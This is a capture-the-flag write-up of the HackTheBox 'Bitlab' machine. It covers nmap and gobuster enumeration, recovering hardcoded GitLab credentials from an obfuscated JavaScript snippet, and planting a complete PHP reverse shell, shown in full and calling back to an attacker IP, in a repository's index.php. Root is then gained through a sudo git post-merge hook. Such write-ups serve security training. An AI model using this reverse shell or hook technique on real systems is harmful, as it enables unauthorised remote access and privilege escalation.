HackTheBox - BitLab - WriteUp

Information Card

Brief

This is my writeup for HackTheBox’s box called Bitlab which is a very good box. This box begins with a running GitLab server. Through enumeration you find credentials to the git server. Following which you get a shell to the box. Modifying a PHP script you get creds to the user and exploiting git you get access to root. Lets get to work.

Reconnaissance

I use a tool called nmapAutomator and it is something I can recommend, alternatively you can also use AutoRecon

Nmap Basic Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.80 scan initiated Sat Sep 12 14:12:25 2020 as: nmap -Pn -sCV -p22,80 -oN nmap/Basic_10.10.10.114.nmap 10.10.10.114
Nmap scan report for bitlab (10.10.10.114)
Host is up (0.077s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
|_http-title: GitLab is not responding (502)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 12 14:12:36 2020 -- 1 IP address (1 host up) scanned in 10.76 seconds

We only have two ports open on TCP and UDP. We begin our enumeration with the HTTP server.

Enumeration

Before visiting the BitLab’s site we will add this is to the /etc/hosts/.

1
10.10.10.114 bitlab bitlab.htb

in case virtual hosts are configured.

HTTP Enumeration

Paying a visit to http://bitlab.htb we are greeted with a Gitlab server.

Information Card

Before enumerating further I quickly did a searchsploit for Gitlab with searchsploit gitlab

Gitlab's Searchsploit to know things I should pay close attention to.

Gobuster

I put gobuster to task to enumerate directories gobuster-old -t 40 -u http://bitlab.htb/ -e -w $DIRECTORY_BIG -s 200 -fw and begun clicking around and reading source pages.

Since we are in dire need of credentials I began enumerating usernames with the help of gobuster-old -t 40 -u http://bitlab.htb/ -e -w $USERLIST_BIG -s 200 -fw

Gobuster user

Soon enough get some usernames. When we visit http://bitlab.htb/root we can see more clickable options. Once we clicked Help it lands us to this webpage.

Once we click on gitlab login. Nothing happens but we can see some hex. I see some JS which when decoded will give the username : clave and password : 11des0081x : -

1
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

I then went to the login page and copied the function to my chrome console.

Chrome Console

Gitlab Login

Which then entered the credentials to the webpage upon clicking the Sign In button we get in.

We see profile of clave load who is a also a Developer.

Git profile load.

Once you click Settings of the user it takes you to a webpage : http://bitlab.htb/profile/ which can be seen below : -

Exploitation

We see two repositories clave seems to be a part of : -

  1. Profile
  2. Deployer

We also have visibility of one snippet : http://bitlab.htb/snippets/1.

This webpages’s source code is in the repository http://bitlab.htb/root/profile/blob/master/index.php of which we have write access to.

First I verified if this is indeed what’s happening. So we modify the index.php of the repository to see potential methods of getting a reverse shell. I modified the index.php to something like this.

Modified Index.php

I then commited these changes and merged it to master. Once I merged it to master I went to the URL : http://bitlab.htb/profile/ which responded with this : -

Modified Index.php

We now have code execution.

I now copied a trusted reverse shell from jivoi’s pentest repository and modified $ip and $port.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.41'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

We now recieve a reverse shell.

Privilege Escalation

I downloaded LinEnum.sh from my local machine to the remote host and ran it. Which pointed out we can use git with sudo without a password.

Upon some GoogleFu and a look at GTFOBins I started looking into hooks. Hooks are basically scripts that runs when an event occurs. You can read about it more here. We can use post-merge to get this to work. First we copy the repository to a location which we can write on /tmp. Then we copy the git repository to that location so that the changes we make through web are not reflected there.

We now make some changes to the repo and merge them so that we can trigger the post-merge hook.

First we modify the repository by making some changes. I made a file gimmeroot.php

I the commited those changes.

Upon commiting those changes. I create a merge request for the same commit and merged the request with master.

Now we do sudo git pull and expect the post-merge to execute and give us a shell as root.

We get a callback, as root

Proof